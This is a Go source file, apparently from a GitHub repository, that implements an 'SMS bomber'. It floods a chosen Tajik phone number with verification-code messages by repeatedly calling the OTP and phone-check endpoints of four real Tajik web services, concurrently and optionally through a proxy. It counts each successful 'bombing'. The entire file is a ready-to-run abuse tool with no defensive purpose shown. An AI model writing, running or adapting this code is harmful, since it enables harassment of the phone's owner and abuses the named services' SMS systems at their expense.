-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.go
278 lines (230 loc) · 6.22 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
package main
import (
"bytes"
"encoding/json"
"flag"
"fmt"
"log"
"net/http"
"net/url"
"os"
"os/signal"
"sync"
"syscall"
"github.com/jedib0t/go-pretty/v6/table"
)
// SmsBomber struct for performing SMS bombing
type SmsBomber struct {
PhoneNumber int
Proxy string
Running bool
Status chan ServiceStatus // Channel for storing service status
Counters map[string]int // Counters for successful requests per service
Mutex sync.Mutex // Mutex for thread-safe counter increment
}
// ServiceStatus struct for storing service status
type ServiceStatus struct {
ServiceName string
StatusCode int
PhoneNumber int
}
func main() {
phoneNumber := flag.Int("number", 0, "Phone number")
count := flag.Int("count", 1, "Count")
flag.Parse()
if *phoneNumber == 0 {
panic("`go run . -number=(number without +992)`")
}
bomber := &SmsBomber{
PhoneNumber: *phoneNumber,
Status: make(chan ServiceStatus, *count*10), // Initialize the status channel
Counters: make(map[string]int), // Initialize counters map
}
// Start the bomber
// Wait for interrupt signal (Ctrl+C)
interrupt := make(chan os.Signal, 1)
signal.Notify(interrupt, os.Interrupt, syscall.SIGTERM)
go bomber.Start(*count)
// Wait for interrupt signal
<-interrupt
// Stop the bomber
bomber.Stop()
close(interrupt)
// Print the results
bomber.PrintResults()
}
// Start method to start the bombing attack
func (b *SmsBomber) Start(count int) {
b.Running = true
fmt.Println("Bombing...")
var wg sync.WaitGroup
for i := 0; i < count; i++ {
wg.Add(4)
go b.ShefService(&wg)
go b.SomonService(&wg)
go b.AvrangService(&wg)
go b.DastrasService(&wg)
}
wg.Wait()
close(b.Status) // Close the status channel after all goroutines finish
}
// Stop method to stop the bombing attack
func (b *SmsBomber) Stop() {
b.Running = false
fmt.Println("Stopping the bomber...")
}
// PrintResults method to print the results
func (b *SmsBomber) PrintResults() {
if !b.Running {
t := table.NewWriter()
t.SetOutputMirror(os.Stdout)
t.AppendHeader(table.Row{"Service", "Status_code", "Phone_number", "Successful_Count"})
b.Mutex.Lock() // Lock the mutex to prevent data race while accessing counters
defer b.Mutex.Unlock()
// Read results from the channel
for result := range b.Status {
b.Counters[result.ServiceName]++ // Increment the counter for the corresponding service
t.AppendRow([]interface{}{result.ServiceName, result.StatusCode, result.PhoneNumber, b.Counters[result.ServiceName]})
}
t.Render()
}
}
// SomonService method for attacking the Somon service
func (b *SmsBomber) SomonService(wg *sync.WaitGroup) {
defer wg.Done()
URL := fmt.Sprintf("https://somon.tj/api/items/phone_verify/?phone=+992%d&next=/post_ad/", b.PhoneNumber)
client := &http.Client{}
req, err := http.NewRequest("GET", URL, nil)
if err != nil {
log.Println(err)
return
}
if b.Proxy != "" {
proxyURL, err := url.Parse(b.Proxy)
if err != nil {
log.Println(err)
return
}
client.Transport = &http.Transport{Proxy: http.ProxyURL(proxyURL)}
}
resp, err := client.Do(req)
if err != nil {
log.Println(err)
return
}
serviceName := "Somon"
statusCode := resp.StatusCode
b.Status <- ServiceStatus{ServiceName: serviceName, StatusCode: statusCode, PhoneNumber: b.PhoneNumber}
if statusCode == http.StatusOK {
fmt.Println("bombed")
}
}
// AvrangService method for attacking the Avrang service
func (b *SmsBomber) AvrangService(wg *sync.WaitGroup) {
defer wg.Done()
URL := "https://api.avrang.tj/api/auth/number-check"
client := &http.Client{}
reqBody := map[string]interface{}{
"phone": b.PhoneNumber,
"confirm_code": []interface{}{},
}
reqJSON, err := json.Marshal(reqBody)
if err != nil {
log.Println(err)
return
}
req, err := http.NewRequest("POST", URL, bytes.NewBuffer(reqJSON))
if err != nil {
log.Println(err)
return
}
req.Header.Set("Content-Type", "application/json")
if b.Proxy != "" {
proxyURL, err := url.Parse(b.Proxy)
if err != nil {
log.Println(err)
return
}
client.Transport = &http.Transport{Proxy: http.ProxyURL(proxyURL)}
}
resp, err := client.Do(req)
if err != nil {
log.Println(err)
return
}
serviceName := "Avrang"
statusCode := resp.StatusCode
b.Status <- ServiceStatus{ServiceName: serviceName, StatusCode: statusCode, PhoneNumber: b.PhoneNumber}
if statusCode == http.StatusOK {
fmt.Println("bombed")
}
}
// DastrasService method for attacking the Dastras service
func (b *SmsBomber) DastrasService(wg *sync.WaitGroup) {
defer wg.Done()
URL := fmt.Sprintf("https://dastras.tj/index.php?slgh=acm_sms.generate_code&phone=%d&prefix=+992&is_ajax=1", b.PhoneNumber)
client := &http.Client{}
req, err := http.NewRequest("GET", URL, nil)
if err != nil {
log.Println(err)
return
}
if b.Proxy != "" {
proxyURL, err := url.Parse(b.Proxy)
if err != nil {
log.Println(err)
return
}
client.Transport = &http.Transport{Proxy: http.ProxyURL(proxyURL)}
}
resp, err := client.Do(req)
if err != nil {
log.Println(err)
return
}
serviceName := "Dastras"
statusCode := resp.StatusCode
b.Status <- ServiceStatus{ServiceName: serviceName, StatusCode: statusCode, PhoneNumber: b.PhoneNumber}
if statusCode == http.StatusOK {
fmt.Println("bombed")
}
}
// ShefService method for attacking the Shef.tj service
func (b *SmsBomber) ShefService(wg *sync.WaitGroup) {
defer wg.Done()
URL := "https://data.shef.tj/api/auth/otp"
client := &http.Client{}
reqBody := map[string]interface{}{
"phone": b.PhoneNumber,
}
reqJSON, err := json.Marshal(reqBody)
if err != nil {
log.Println(err)
return
}
req, err := http.NewRequest("POST", URL, bytes.NewBuffer(reqJSON))
if err != nil {
log.Println(err)
return
}
req.Header.Set("Content-Type", "application/json")
if b.Proxy != "" {
proxyURL, err := url.Parse(b.Proxy)
if err != nil {
log.Println(err)
return
}
client.Transport = &http.Transport{Proxy: http.ProxyURL(proxyURL)}
}
resp, err := client.Do(req)
if err != nil {
log.Println(err)
return
}
serviceName := "Shef"
statusCode := resp.StatusCode
b.Status <- ServiceStatus{ServiceName: serviceName, StatusCode: statusCode, PhoneNumber: b.PhoneNumber}
if statusCode == http.StatusOK {
fmt.Println("bombed")
}
}